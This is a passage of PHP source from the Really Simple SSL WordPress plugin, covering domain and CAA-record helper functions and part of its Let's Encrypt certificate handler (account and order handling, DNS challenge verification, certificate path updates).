        update_option( 'rsssl_activation_time', time(), false );
    }
}

if ( ! function_exists( 'rsssl_array_filter_multidimensional' ) ) {
    function rsssl_array_filter_multidimensional(
        $array, $filter_key, $filter_value
    ) {
        $new = array_filter( $array,
            function ( $var ) use ( $filter_value, $filter_key ) {
                return isset( $var[ $filter_key ] ) ? ( $var[ $filter_key ]
                    == $filter_value )
                    : false;
            } );

        return $new;
    }
}

if ( !function_exists('rsssl_is_subdomain') ) {
	/**
	 * Check if we're on a subdomain.
	 * If this is a www domain, we return false
	 */
	function rsssl_is_subdomain(){
		$domain = rsssl_get_domain();
		if ( strpos($domain, 'www.') !== false ) return false;
		$root = rsssl_get_root_domain($domain);
		if ($root === $domain ) {
			return false;
		} else {
			return true;
		}
	}
}

if ( !function_exists('rsssl_get_root_domain') ) {
	/**
	 * Get root domain of a domain
	 */
	function rsssl_get_root_domain($domain){
		$sub = strtolower(trim($domain));
		$count = substr_count($sub, '.');
		if($count === 2){
			if(strlen(explode('.', $sub)[1]) > 3) $sub = explode('.', $sub, 2)[1];
		} else if($count > 2){
			$sub = rsssl_get_root_domain(explode('.', $sub, 2)[1]);
		}
		return $sub;
	}
}

if ( ! function_exists( 'rsssl_get_domain' ) ) {
	/**
	 * Get current domain
	 *
	 * @return string
	 */
    function rsssl_get_domain() {
        //Get current domain
        $domain = site_url();
        //Parse to strip off any /subfolder/
        $parse = parse_url($domain);
        $domain = $parse['host'];
        $domain = str_replace(array('http://', 'https://' ), '', $domain);
        return $domain;
    }
}

function rsssl_insert_after_key($array, $key, $items){
	$keys = array_keys($array);
	$key = array_search($key, $keys);
	$array = array_slice($array, 0, $key, true) +
	$items +
	array_slice($array, 3, count($array)-3, true);

	return $array;
}

if ( !function_exists('rsssl_wildcard_certificate_required') ) {
	/**
	 * Check if the site requires a wildcard
	 *
	 * @return bool
	 */
	function rsssl_wildcard_certificate_required() {
		//if DNS verification, create wildcard.
		if ( rsssl_get_option('verification_type') === 'dns' ) {
			return true;
		}

		if ( ! is_multisite() ) {
			return false;
		} else {
			if ( defined( 'SUBDOMAIN_INSTALL' ) && SUBDOMAIN_INSTALL ) {
				return true;
			} else {
				return false;
			}
		}
	}
}

if ( !function_exists('rsssl_can_install_shell_addon') ) {

	/**
	 * check if this environment has shell capability
	 *
	 * @return bool
	 */

	function rsssl_can_install_shell_addon(){
		//if not cpanel
		if ( !rsssl_is_cpanel() ) {
			return false;
		}

		//if already installed
		if (defined('rsssl_shell_path')){
			return false;
		}

		if ( function_exists('shell_exec') || function_exists('system') || function_exists('passthru') || function_exists('exec') ) {
			return true;
		} else {
			return false;
		}
	}
}

if ( !function_exists('rsssl_generated_by_rsssl')) {
	/**
	 * If a bundle generation is completed, this value is set to true.
	 *
	 * @return bool
	 */
	function rsssl_generated_by_rsssl() {
		return get_option( 'rsssl_le_certificate_generated_by_rsssl' );
	}
}

/**
 * Checks if a CAA DNS record is preventing the use of Let's Encrypt for the current site.
 *
 * @return bool Returns true if a CAA DNS record exists and does not allow Let's Encrypt, false otherwise.
 */
if ( ! function_exists( 'rsssl_caa_record_prevents_le' ) ) {
	function rsssl_caa_record_prevents_le(): bool {
		// Get DNS CAA records for site_url()
		$caa_records = dns_get_record( parse_url( site_url(), PHP_URL_HOST ), DNS_CAA );

		// If no CAA records found, return false
		if ( empty( $caa_records ) ) {
			return false;
		}

		// Check if the CAA record contains letsencrypt.org
		$caa_contains_le = false;
		foreach ( $caa_records as $caa_record ) {
			if ( strpos( $caa_record['value'], 'letsencrypt.org' ) !== false ) {
				$caa_contains_le = true;
				break;
			}
		}

		// If the CAA record is set, but does not contain letsencrypt.org, return true;
		if ( ! $caa_contains_le ) {
			return true;
		}

		// CAA record contains Let's Encrypt, generation allowed
		return false;
	}
}really-simple-ssl/lets-encrypt/index.php000064400000000043147510273070014376 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/lets-encrypt/class-letsencrypt-handler.php000064400000164744147510273070020404 0ustar00<?php
defined('ABSPATH') or die("you do not have access to this page!");

require_once rsssl_le_path . 'vendor/autoload.php';
require_once rsssl_path . 'lib/admin/class-encryption.php';
use RSSSL\lib\admin\Encryption;
use LE_ACME2\Account;
use LE_ACME2\Authorizer\AbstractDNSWriter;
use LE_ACME2\Authorizer\DNS;
use LE_ACME2\Authorizer\HTTP;
use LE_ACME2\Connector\Connector;
use LE_ACME2\Order;
use LE_ACME2\Utilities\Certificate;
use LE_ACME2\Utilities\Logger;

class rsssl_letsencrypt_handler {
	use Encryption;

	private static $_this;
	/**
	 * Account object
	 * @var bool|LE_ACME2\Account
	 */
	public $account = false;
	public $challenge_directory = false;
	public $key_directory = false;
	public $certs_directory = false;
    public $subjects = array();

	function __construct() {

		if ( isset( self::$_this ) ) {
			wp_die();
		}

		add_action('admin_init', array($this, 'upgrade'));

		//loading of these hooks is stricter. The class can be used in the notices, which are needed on the generic dashboard
		//These functionality is not needed on the dashboard, so should only be loaded in strict circumstances
		if ( rsssl_letsencrypt_generation_allowed( true ) ) {
			add_action( 'rsssl_after_save_field', array( $this, 'after_save_field' ), 10, 4 );
			add_action( 'admin_init', array( $this, 'maybe_add_htaccess_exclude'));
			add_action( 'admin_init', array( $this, 'maybe_create_htaccess_directories'));

			$this->key_directory = $this->key_directory();
			$this->challenge_directory = $this->challenge_directory();
			$this->certs_directory = $this->certs_directory();

			// Config the desired paths
			if ( $this->key_directory ) {
				Account::setCommonKeyDirectoryPath( $this->key_directory );
			}

			if ( $this->challenge_directory ) {
				HTTP::setDirectoryPath( $this->challenge_directory );
			}

			// General configs
			//$use_staging = defined('RSSSL_LE_DEBUG');
			Connector::getInstance()->useStagingServer( false );
			Logger::getInstance()->setDesiredLevel( Logger::LEVEL_DISABLED );

			if ( !rsssl_get_option( 'disable_ocsp' ) ) {
				Certificate::enableFeatureOCSPMustStaple();
			}

			Order::setPreferredChain('ISRG Root X1');
			$this->subjects = $this->get_subjects();
		}

		self::$_this = $this;
	}

	static function this() {
		return self::$_this;
	}

	/**
	 * If we're on apache, add a line to the .htaccess so the acme challenge directory won't get blocked.
	 */
	public function maybe_add_htaccess_exclude(){

		if (!rsssl_user_can_manage()) {
			return;
		}

		if ( !RSSSL()->server->uses_htaccess() ) {
			return;
		}

		$htaccess_file = RSSSL()->admin->htaccess_file();
		if ( !file_exists($htaccess_file) ) {
			return;
		}

		if ( !is_writable($htaccess_file) ) {
			return;
		}

		$htaccess = file_get_contents( $htaccess_file );

		//if it's already inserted, skip.
		if ( strpos($htaccess, 'Really Simple Security LETS ENCRYPT') !== FALSE ) {
			return;
		}

		$htaccess = preg_replace("/#\s?BEGIN\s?Really Simple Security LETS ENCRYPT.*?#\s?END\s?Really Simple Security LETS ENCRYPT/s", "", $htaccess);
		$htaccess = preg_replace("/\n+/", "\n", $htaccess);

		$rules = '#BEGIN Really Simple Security LETS ENCRYPT'."\n";
		$rules .= 'RewriteRule ^.well-known/(.*)$ - [L]'."\n";
		$rules .= '#END Really Simple Security LETS ENCRYPT'."\n";
		$htaccess = $rules . $htaccess;
		file_put_contents($htaccess_file, $htaccess);

	}

	/**
	 * Check if we have an installation failed state.
	 * @return bool
	 */
	public function installation_failed(){
		$installation_active = get_option("rsssl_le_start_installation");
		$installation_failed = get_option("rsssl_installation_error");

		return $installation_active && $installation_failed;
	}

	/**
	 * Cleanup. If user did not consent to storage, all password fields should be removed on activation, unless they're needed for renewals
	 *
	 * @return bool
	 */
	public function cleanup_on_ssl_activation(){
		if ( !current_user_can('manage_security') ) {
			return false;
		}
		$delete_credentials = !rsssl_get_option('store_credentials');
		$le_fields = rsssl_le_add_fields([]);
		if ( !$this->certificate_automatic_install_possible() || !$this->certificate_install_required() || $delete_credentials ) {
			$le_fields = array_filter($le_fields, function($i){
				return isset( $i['type'] ) && $i['type'] === 'password';
			});
			$options = get_option( 'rsssl_options' );
			foreach ($le_fields as $index => $field ) {
				unset($options[$field['id']]);
			}
			update_option( 'rsssl_options', $options, false );
		}
		return true;
	}

	/**
	 * some custom actions after a field has been saved
	 * @param string $fieldname
	 * @param mixed $fieldvalue
	 * @param mixed $prev_value
	 * @param string $type
	 *
	 * @return void
	 */
	public function after_save_field(
		$fieldname, $fieldvalue, $prev_value, $type
	) {
		rsssl_progress_add( 'domain' );
		//only run when changes have been made
		if ( $fieldvalue === $prev_value ) {
			return;
		}

		$options = [
			'directadmin_password',
			'cpanel_password',
			'cloudways_api_key',
			'plesk_password',
		];

		if ( in_array($fieldname, $options) && strpos( $fieldvalue, 'rsssl_' ) === false ) {
			rsssl_update_option($fieldname, $this->encrypt_with_prefix($fieldvalue) );
		}

		if ( $fieldname==='other_host_type' ){
			if ( !rsssl_do_local_lets_encrypt_generation() ) {
				rsssl_progress_add('directories');
				rsssl_progress_add('generation');
				rsssl_progress_add('dns-verification');
			}
		}

		if ( $fieldname==='email' ){
		    if ( !is_email($fieldvalue) ) {
		        rsssl_progress_remove('domain');
            }
        }
	}

	/**
     * Test for localhost or subfolder usage
	 * @return RSSSL_RESPONSE
	 */
    public function check_domain(){
	    $details = parse_url(site_url());
	    $path = isset($details['path']) ? $details['path'] : '';
        if ( strpos(site_url(), 'localhost')!==false ) {
	        rsssl_progress_remove( 'system-status' );
	        $action  = 'stop';
	        $status  = 'error';
	        $message = __( "It is not possible to install Let's Encrypt on a localhost environment.", "really-simple-ssl" );
        } else if (is_multisite() && get_current_blog_id() !== get_main_site_id() ) {
		    rsssl_progress_remove('system-status');
		    $action = 'stop';
		    $status = 'error';
		    $message = __("It is not possible to install Let's Encrypt on a subsite. Please go to the main site of your website.", "really-simple-ssl" );
	    } else if ( strlen($path)>0 ) {
		    rsssl_progress_remove('system-status');
		    $action = 'stop';
		    $status = 'error';
		    $message = __("It is not possible to install Let's Encrypt on a subfolder configuration.", "really-simple-ssl" ).rsssl_le_read_more(rsssl_link('install-ssl-on-subfolders') );
	    } elseif ( rsssl_caa_record_prevents_le() ) {
		    $action = 'stop';
		    $status = 'error';
		    $message = __("Please adjust the CAA records via your DNS provider to allow Let’s Encrypt SSL certificates", "really-simple-ssl" ).rsssl_le_read_more(rsssl_link('instructions/edit-dns-caa-records-to-allow-lets-encrypt-ssl-certificates/') );
	    } else {
		    $action = 'continue';
		    $status = 'success';
		    $message = __("Your domain meets the requirements for Let's Encrypt.", "really-simple-ssl" );
	    }
	    return new RSSSL_RESPONSE($status, $action, $message);
    }

	/**
	 * Get certificate installation URL
	 * @return RSSSL_RESPONSE
	 */

    public function search_ssl_installation_url(){
    	//start with most generic, then more specific if possible.
	    $url = rsssl_link('install-ssl-certificate');
	    $host = 'enter-your-dashboard-url-here';

	    if (function_exists('wp_get_direct_update_https_url') && !empty(wp_get_direct_update_https_url())) {
		    $url = wp_get_direct_update_https_url();
	    }

	    if ( rsssl_is_cpanel() ) {
		    $cpanel = new rsssl_cPanel();
		    $host = $cpanel->host;
		    $url = $cpanel->ssl_installation_url;
	    } else if ( rsssl_is_plesk() ) {
		    $plesk = new rsssl_plesk();
		    $host = $plesk->host;
		    $url = $plesk->ssl_installation_url;
	    } else if ( rsssl_is_directadmin() ) {
		    $directadmin = new rsssl_directadmin();
		    $host = $directadmin->host;
		    $url = $directadmin->ssl_installation_url;
	    }

	    $hosting_company = rsssl_get_other_host();
	    if ( $hosting_company && $hosting_company !== 'none' ) {
		    $hosting_specific_link = RSSSL_LE()->hosts->hosts[$hosting_company]['ssl_installation_link'];
		    if ($hosting_specific_link) {
			    $site = trailingslashit( str_replace(array('https://','http://', 'www.'),'', site_url()) );
			    if ( strpos($hosting_specific_link,'{host}') !==false && empty($host) ) {
			    	$url = '';
			    } else {
				    $url = str_replace(array('{host}', '{domain}'), array($host, $site), $hosting_specific_link);
			    }
		    }
	    }

	    $action = 'continue';
	    $status = 'warning';
	    $message = rsssl_get_manual_instructions_text($url);
		$output = $url;
	    return new RSSSL_RESPONSE($status, $action, $message, $output );
    }

    /**
     * Test for localhost usage
	 * @return RSSSL_RESPONSE
	 */
    public function certificate_status(){
	    delete_transient('rsssl_certinfo');
	    if ( RSSSL()->certificate->is_valid() ) {
	    	//we have now renewed the cert info transient
		    $certinfo = get_transient('rsssl_certinfo');
		    $end_date = isset($certinfo['validTo_time_t']) ? $certinfo['validTo_time_t'] : false;
		    $grace_period = strtotime('+'.rsssl_le_manual_generation_renewal_check.' days');
		    $expiry_date = !empty($end_date) ? date( get_option('date_format'), $end_date ) : __("(unknown)","really-simple-ssl");
		    //if the certificate expires within the grace period, allow renewal
		    //e.g. expiry date 30 may, now = 10 may => grace period 9 june.
		    if ( $grace_period > $end_date ) {
			    $action = 'continue';
			    $status = 'success';
			    $message = sprintf(__("Your certificate will expire on %s.", "really-simple-ssl" ).' '.__("Continue to renew.", "really-simple-ssl" ), $expiry_date);   ;
		    } else {
			    $action = 'continue';
			    $status = 'error';
			    $message = __("You already have a valid SSL certificate.", "really-simple-ssl" );
		    }

	    } else {
		    $action = 'continue';
		    $status = 'success';
		    $message = __("SSL certificate should be generated and installed.", "really-simple-ssl" );
	    }
	    return new RSSSL_RESPONSE($status, $action, $message);
    }

	/**
	 * Check if the certifiate is to expire in max rsssl_le_manual_generation_renewal_check days.
	 * Used in notices list
	 * @return bool
	 */

	public function certificate_about_to_expire() {
		$about_to_expire = RSSSL()->certificate->about_to_expire();
		if ( !$about_to_expire ) {
			//if the certificate is valid, stop any attempt to renew.
			delete_option('rsssl_le_start_renewal');
			delete_option('rsssl_le_start_installation');
			return false;
		} else {
			return true;
		}
	}

    /**
     * Test for server software
	 * @return RSSSL_RESPONSE
	 */

	public function server_software(){
	    $action = 'continue';
	    $status = 'warning';
	    $message = __("The Hosting Panel software was not recognized. Depending on your hosting provider, the generated certificate may need to be installed manually.", "really-simple-ssl" );

        if ( rsssl_is_cpanel() ) {
	        $status = 'success';
	        $message = __("CPanel recognized. Possibly the certificate can be installed automatically.", "really-simple-ssl" );
        } else if ( rsssl_is_plesk() ) {
	        $status = 'success';
	        $message = __("Plesk recognized. Possibly the certificate can be installed automatically.", "really-simple-ssl" );
        } else if ( rsssl_is_directadmin() ) {
			$status = 'success';
			$message = __("DirectAdmin recognized. Possibly the certificate can be installed automatically.", "really-simple-ssl" );
		}

		return new RSSSL_RESPONSE($status, $action, $message);
    }

	/**
	 * Check if CURL is available
	 *
	 * @return RSSSL_RESPONSE
	 */

    public function curl_exists() {
	    if( function_exists('curl_init') === false ){
		    $action = 'stop';
		    $status = 'error';
		    $message = __("The PHP function CURL is not available on your server, which is required. Please contact your hosting provider.", "really-simple-ssl" );
	    } else {
		    $action = 'continue';
		    $status = 'success';
		    $message = __("The PHP function CURL has successfully been detected.", "really-simple-ssl" );
	    }

	    return new RSSSL_RESPONSE($status, $action, $message);
    }

	/**
	 * Get or create an account
	 * @return RSSSL_RESPONSE
	 */
    public function get_account() {
	    $account_email = $this->account_email();
        if ( is_email($account_email) ) {
	        try {
		        $this->account
			        = ! Account::exists( $account_email ) ?
			        Account::create( $account_email ) :
			        Account::get( $account_email );
		        $status = 'success';
		        $action = 'continue';
		        $message = __("Successfully retrieved account", "really-simple-ssl");
	        } catch(Exception $e) {
		        $response = $this->get_error($e);
		        $status = 'error';
		        $action = 'retry';
		        if ( strpos($response, 'invalid contact domain')) {
		        	$action = 'stop';
		        	$response = __("The used domain for your email address is not allowed.","really-simple-ssl").'&nbsp;'.
			                    sprintf(__("Please change your email address %shere%s and try again.", "really-simple-ssl"),'<a href="'.rsssl_letsencrypt_wizard_url().'&step=2'.'">','</a>');
		        }

		        $message = $response;
	        }
        } else {
	        $status = 'error';
	        $action = 'stop';
	        $message = __("The email address was not set. Please set the email address",'really-simple-ssl');
        }
	    return new RSSSL_RESPONSE($status, $action, $message);
    }

	/**
	 * @return RSSSL_RESPONSE
	 */
    public function get_dns_token(){
	    if ( rsssl_is_ready_for('dns-verification') ) {
		    $use_dns        = rsssl_dns_verification_required();
		    $challenge_type = $use_dns ? Order::CHALLENGE_TYPE_DNS : Order::CHALLENGE_TYPE_HTTP;
		    if ( $use_dns ) {
			    try {
				    $this->get_account();
				    $dnsWriter = new class extends AbstractDNSWriter {
					    public function write( Order $order, string $identifier, string $digest ): bool {
						    $tokens                = get_option( 'rsssl_le_dns_tokens', [] );
						    $tokens[ $identifier ] = $digest;
						    update_option( "rsssl_le_dns_tokens", $tokens, false );
						    rsssl_progress_add( 'dns-verification' );

						    //return false, as we will continue later on.
						    return false;
					    }
				    };
				    DNS::setWriter( $dnsWriter );
				    $response = $this->get_order();
				    $order = $response->output;
				    $response->output = false;

				    if ( $order ) {
					    try {
						    if ( $order->authorize( $challenge_type ) ) {
							    $response = new RSSSL_RESPONSE(
								    'success',
								    'continue',
								    __( "Token successfully retrieved. Click the refresh button if it's not visible yet.", 'really-simple-ssl' ),
								    $this->get_dns_tokens()
							    );
						    } else {
							    if ( get_option( 'rsssl_le_dns_tokens' ) ) {
								    $response = new RSSSL_RESPONSE(
									    'success',
									    'continue',
									    __( "Token successfully retrieved. Click the refresh button if it's not visible yet.", 'really-simple-ssl' ),
									    $this->get_dns_tokens()
								    );
							    } else {
								    $response = new RSSSL_RESPONSE(
									    'error',
									    'retry',
									    __( "Token not received yet.", 'really-simple-ssl' )
								    );
							    }

						    }
					    } catch ( Exception $e ) {
						    $error = $this->get_error( $e );
						    if ( strpos( $error, 'No challenge found with given type')!==false ) {
							    //Maybe it was first set to HTTP challenge. retry after clearing the order.
							    $this->clear_order(true);
						    } else if (strpos($error, 'Keys exist already')!==false) {
							    $this->clear_order(true);
							    $error = __("DNS token not retrieved.", 'really-simple-ssl').' '.__("There are existing keys, the order had to be cleared first.","really-simple-ssl")." ".__("Please start at the previous step.","really-simple-ssl");
						    } else if (strpos($error, 'Order has status "invalid"')!==false) {
							    $this->clear_order();
							    $error = __("DNS token not retrieved.", 'really-simple-ssl').' '.__("The order is invalid, possibly due to too many failed authorization attempts. Please start at the previous step.","really-simple-ssl");
						    } else
						    //fixing a plesk bug
						    if ( strpos($error, 'No order for ID ') !== FALSE){
							    $error .= '&nbsp;'.__("Order ID mismatch, regenerate order.","really-simple-ssl");
							    $this->clear_order();
							    rsssl_progress_remove('dns-verification');
							    $error .= '&nbsp;'.__("If you entered your DNS records before, they need to be changed.","really-simple-ssl");
						    }
						    $response = new RSSSL_RESPONSE(
							    'error',
							    'retry',
							    $error
						    );
					    }
				    } else {
					    if (strpos($response->message, 'Keys exist already')!==false) {
						    $this->clear_order(true);
						    $response->message = __("DNS token not retrieved.", 'really-simple-ssl').' '.__("There are existing keys, the order had to be cleared first.","really-simple-ssl")." ".__("Please start at the previous step.","really-simple-ssl");
					    }
					    return $response;
				    }
			    } catch ( Exception $e ) {
				    rsssl_progress_remove( 'dns-verification' );
				    $response = $this->get_error( $e );
					$response = new RSSSL_RESPONSE(
						'error',
						'retry',
						$response
					);
			    }
		    } else {
			    $response = new RSSSL_RESPONSE(
				    'error',
				    'stop',
				    __( "Configured for HTTP challenge", 'really-simple-ssl' )
			    );
		    }
	    } else {
		    rsssl_progress_remove( 'dns-verification' );
		    $response = new RSSSL_RESPONSE(
			    'error',
			    'stop',
			    $this->not_completed_steps_message('dns-verification')
		    );
	    }
	    return $response;
    }

	/**
	 * @return array
	 */
	public function get_dns_tokens(){
		$tokens = get_option( 'rsssl_le_dns_tokens', [] );
		$output = [];
		foreach ($tokens as $domain => $token ) {
			$output[] = [
				'domain' => $domain,
				'token' => $token,
			];
		}
		return $output;
	}

	/**
	 * Check DNS txt records.
	 * @return RSSSL_RESPONSE
	 */

	public function verify_dns(){
		if ( rsssl_is_ready_for('generation') ) {
			update_option('rsssl_le_dns_records_verified', false, false );

			$tokens = get_option('rsssl_le_dns_tokens');
			if ( !$tokens) {
				$status = 'error';
				$action = 'stop';
				$message = __('Token not generated. Please complete the previous step.',"really-simple-ssl");
				return new RSSSL_RESPONSE($status, $action, $message);
			}
			foreach ($tokens as $identifier => $token){
				if (strpos($identifier, '*') !== false) continue;
				set_error_handler(array($this, 'custom_error_handling'));
				ini_set('dns_cache_expiry', 0);
				$response = dns_get_record( "_acme-challenge.$identifier", DNS_TXT );
				restore_error_handler();
				if ( isset($response[0]['txt']) ){
					if ($response[0]['txt'] === $token) {
						$response = new RSSSL_RESPONSE(
							'success',
							'continue',
							sprintf(__('Successfully verified DNS records', "really-simple-ssl"), "_acme-challenge.$identifier")
						);
						update_option('rsssl_le_dns_records_verified', true, false );
					} else {
						$ttl = $response[0]['ttl'] ?? 0;
						$ttl = $this->format_duration($ttl);
						$action = get_option('rsssl_skip_dns_check') ? 'continue' : 'stop';
						$response = new RSSSL_RESPONSE(
							'error',
							$action,
							sprintf(__('The DNS response for %s was %s, while it should be %s.', "really-simple-ssl"), "_acme-challenge.$identifier", $response[0]['txt'], $token ). ' '.
							sprintf(__("Please wait %s before trying again, as this is the expiration of the DNS record currently.", 'really-simple-ssl'), $ttl)
						);
						break;
					}
				} else {
					$action = get_option('rsssl_skip_dns_check') ? 'continue' : 'stop';
					$response = new RSSSL_RESPONSE(
						'warning',
						$action,
						sprintf(__('Could not verify TXT record for domain %s', "really-simple-ssl"), "_acme-challenge.$identifier")
					);
				}
			}

		} else {
			$response = new RSSSL_RESPONSE(
				'error',
				'stop',
				$this->not_completed_steps_message('dns-verification')
			);
		}

		return $response;
	}

	private function format_duration($seconds) {
		$seconds = (int) $seconds;
		if ($seconds >= 3600) {
			$hours = floor($seconds / 3600);
			$minutes = floor(($seconds % 3600) / 60);
			$secs = $seconds % 3600 % 60;
			return sprintf(__("%d:%02d:%02d hours", 'really-simple-ssl'), $hours, $minutes, $secs);
		} elseif ($seconds >= 60) {
			$minutes = floor($seconds / 60);
			$secs = $seconds % 60;
			return sprintf(__("%d:%02d minutes", 'really-simple-ssl'), $minutes, $secs);
		} else {
			return sprintf(__("%d seconds", 'really-simple-ssl'), $seconds);
		}
	}

	/**
	 * Clear an existing order
	 */
	public function clear_order( $clear_keys = false ) {
		if ( $clear_keys ) {
			$this->clear_keys_directory();
		}
		$this->get_account();
		if ( $this->account ) {
			$response = $this->get_order();
			$order    = $response->output;
			if ( $order ) {
				$order->clear();
			}
		}
	}

	/**
     * Authorize the order
	 * @return RSSSL_RESPONSE
	 */

    public function create_bundle_or_renew(){
	    $bundle_completed = false;
    	$use_dns = rsssl_dns_verification_required();
	    $attempt_count = (int) get_transient( 'rsssl_le_generate_attempt_count' );
	    if ( $attempt_count>10 ){
		    delete_option("rsssl_le_start_renewal");
		    $message = __("The certificate generation was rate limited for 5 minutes because the authorization failed.",'really-simple-ssl');
		    if ($use_dns){
			    $message .= '&nbsp;'.__("Please double check your DNS txt record.",'really-simple-ssl');
		    }
		    return new RSSSL_RESPONSE(
			    'error',
			    'stop',
			    $message
		    );
	    }

	    if ( !get_option('rsssl_skip_dns_check') ) {
		    if ( $use_dns && ! get_option( 'rsssl_le_dns_records_verified' ) ) {
			    return new RSSSL_RESPONSE(
				    'error',
				    'stop',
				    __( "DNS records were not verified yet. Please complete the previous step.", 'really-simple-ssl' )
			    );
	        }
	    }

	    if ( rsssl_is_ready_for('generation') ) {

		    $this->get_account();
			if ( $use_dns ) {
				if ( defined('WP_DEBUG') && WP_DEBUG ) {
					error_log( "DNS verified: " . get_option( 'rsssl_le_dns_records_verified' ) );
					error_log( "Skip DNS check: " . get_option( 'rsssl_skip_dns_check' ) );
				}
				$dnsWriter = new class extends AbstractDNSWriter {
					public function write( Order $order, string $identifier, string $digest): bool {
						$status = false;
						if ( get_option('rsssl_le_dns_tokens') ) {
							$status = true;
						}
						return $status;
					}
				};
				DNS::setWriter($dnsWriter);
			}

		    $response = $this->get_order();
			$order = $response->output;
		    $response->output = false;

		    if ( $order ) {
			    if ( $order->isCertificateBundleAvailable() ) {

				    try {
					    $order->enableAutoRenewal();
					    $bundle_completed = $this->update_certificate_paths($order);
					    if ( $bundle_completed ) {
						    $response = new RSSSL_RESPONSE(
							    'success',
							    'continue',
							    __("Certificate already generated. It was renewed if required.",'really-simple-ssl')
						    );
					    } else {
						    $response = new RSSSL_RESPONSE(
							    'error',
							    'retry',
							    __("Files not created yet...",'really-simple-ssl')
						    );
					    }
				    } catch ( Exception $e ) {
					    $response = new RSSSL_RESPONSE(
						    'error',
						    'retry',
						    $this->get_error( $e )
					    );
					    $bundle_completed = false;
				    }
			    } else {
				    $finalized = false;
			    	$challenge_type = $use_dns ? Order::CHALLENGE_TYPE_DNS : Order::CHALLENGE_TYPE_HTTP;
				    try {
					    if ( $order->authorize( $challenge_type ) ) {
						    $order->finalize();
						    $this->reset_attempt();
						    $finalized = true;
					    } else {
							$this->count_attempt();
						    $response = new RSSSL_RESPONSE(
							    'error',
							    'retry',
							    __('Authorization not completed yet.',"really-simple-ssl")
						    );
						    $bundle_completed = false;
					    }
				    } catch ( Exception $e ) {
					    $this->count_attempt();
					    $message = $this->get_error( $e );
						if ( defined('WP_DEBUG') && WP_DEBUG ) {
							error_log("Really Simple Security: ".$message);
						}
					    $response = new RSSSL_RESPONSE(
						    'error',
						    'stop',
						    $message
					    );
					    if ( strpos( $message, 'No challenge found with given type')!==false ) {
						    //Maybe it was first set to HTTP challenge. retry after clearing the order.
						    $response->message = __("Due to a change in challenge type, the order had to be reset. Please start at the previous step.","really-simple-ssl");
						    $this->clear_order(true);
					    } else if ( strpos($message, 'Order has status "invalid"')!==false) {
						    $this->clear_order();
						    $response->message = __("Certificate not created.", 'really-simple-ssl').' '.__("The order is invalid, possibly due to too many failed authorization attempts. Please start at the previous step.","really-simple-ssl");
					        if ($use_dns) {
					        	rsssl_progress_remove('dns-verification');
						        $response->message .= '&nbsp;'.__("As your order will be regenerated, you'll need to update your DNS text records.","really-simple-ssl");
					        }
					    } else {
					    	//if OCSP is not disabled yet, and the order status is not invalid, we disable ocsp, and try again.
					    	if ( !rsssl_get_option( 'disable_ocsp' ) ) {
							    rsssl_update_option( 'disable_ocsp', true );
							    $response->action = 'retry';
							    $response->status = 'warning';
							    $response->message = __("OCSP not supported, the certificate will be generated without OCSP.","really-simple-ssl");
						    }
					    }
				    }

					if ( $finalized ) {
					    try {
						    if ( $order->isCertificateBundleAvailable() ) {
							    $bundle_completed  = $this->update_certificate_paths($order);

							    if ( $bundle_completed ) {
								    $response = new RSSSL_RESPONSE(
									    'success',
									    'continue',
									    __("Successfully generated certificate.",'really-simple-ssl')
								    );
							    } else {
								    $response = new RSSSL_RESPONSE(
									    'error',
									    'retry',
									    __("Files not created yet...",'really-simple-ssl')
								    );
							    }

						    } else {
							    $response = new RSSSL_RESPONSE(
								    'error',
								    'retry',
								    __("Bundle not available yet...",'really-simple-ssl')
							    );
						    }
					    } catch ( Exception $e ) {
						    $response = new RSSSL_RESPONSE(
							    'error',
							    'retry',
							    $this->get_error( $e )
						    );
				        }
					}
			    }
		    }
	    } else {
		    $response = new RSSSL_RESPONSE(
		    	'error',
			    'stop',
			    $this->not_completed_steps_message('generation')
		    );
	    }

	    if ( $bundle_completed ){
		    rsssl_progress_add('generation');
		    update_option('rsssl_le_certificate_generated_by_rsssl', true, false);
		    delete_option("rsssl_le_start_renewal");
	    } else {
		    rsssl_progress_remove('generation');
	    }

	    return $response;
    }

	/**
	 * For each file, check if the path exists, update the path options, and return success or false accordingly
	 * @param $order
	 *
	 * @return bool
	 */
	private function update_certificate_paths($order){
		$bundle             = $order->getCertificateBundle();
		$pathToPrivateKey   = $bundle->path . $bundle->private;
		$pathToCertificate  = $bundle->path . $bundle->certificate;
		$pathToIntermediate = $bundle->path . $bundle->intermediate;
		$success_private = $success_cert = $success_intermediate = false;

		if ( file_exists( $pathToPrivateKey ) ) {
			$success_private = true;
			update_option( 'rsssl_private_key_path', $pathToPrivateKey, false );
		}
		if ( file_exists( $pathToCertificate ) ) {
			$success_cert = true;
			update_option( 'rsssl_certificate_path', $pathToCertificate, false );
		}

		if ( file_exists( $pathToIntermediate ) ) {
			$success_intermediate = true;
			update_option( 'rsssl_intermediate_path', $pathToIntermediate, false );
		}

		$bundle_completed = true;
		if ( ! $success_cert || ! $success_private || ! $success_intermediate ) {
			$bundle_completed = false;
		}

		return $bundle_completed;
	}

	/**
	 * Get the order object
	 *
	 * @return RSSSL_RESPONSE
	 */
    public function get_order(){

		#if we don't have an account, try to retrieve it
		if ( !$this->account ) {
			$this->get_account();
		}

		#still no account, then exit
		if ( !$this->account ) {
			return new RSSSL_RESPONSE(
				'error',
				'retry',
				__( "Failed retrieving account.", 'really-simple-ssl' )
			);
		}

	    if ( ! Order::exists( $this->account, $this->subjects ) ) {
		    try {
			    $response = new RSSSL_RESPONSE(
				    'success',
				    'continue',
				    __("Order successfully created.",'really-simple-ssl')
			    );
			    $response->output = Order::create( $this->account, $this->subjects );

		    } catch(Exception $e) {
			    $response = new RSSSL_RESPONSE(
				    'error',
				    'retry',
				    $this->get_error($e)
			    );
		    }
	    } else {
		    //order exists already
		    $response = new RSSSL_RESPONSE(
			    'success',
			    'continue',
			    __( "Order successfully retrieved.", 'really-simple-ssl' )
		    );
		    $response->output = Order::get( $this->account, $this->subjects );
	    }

	    return $response;
    }

	/**
	 * Keep track of certain request counts, to prevent rate limiting by LE
	 */
    public function count_attempt(){
	    $attempt_count = (int) get_transient( 'rsssl_le_generate_attempt_count' );
	    $attempt_count++;
	    set_transient('rsssl_le_generate_attempt_count', $attempt_count, 5 * MINUTE_IN_SECONDS);
    }

	public function reset_attempt(){
		delete_transient('rsssl_le_generate_attempt_count');
	}



	/**
	 * Check if SSL generation renewal can be handled automatically
	 * @return bool
	 */
    public function ssl_generation_can_auto_renew(){
	    if ( rsssl_get_option('verification_type')==='dns' && !get_option('rsssl_le_dns_configured_by_rsssl') ) {
		    return false;
	    } else {
		    return true;
	    }
    }

	/**
	 * Check if it's possible to autorenew
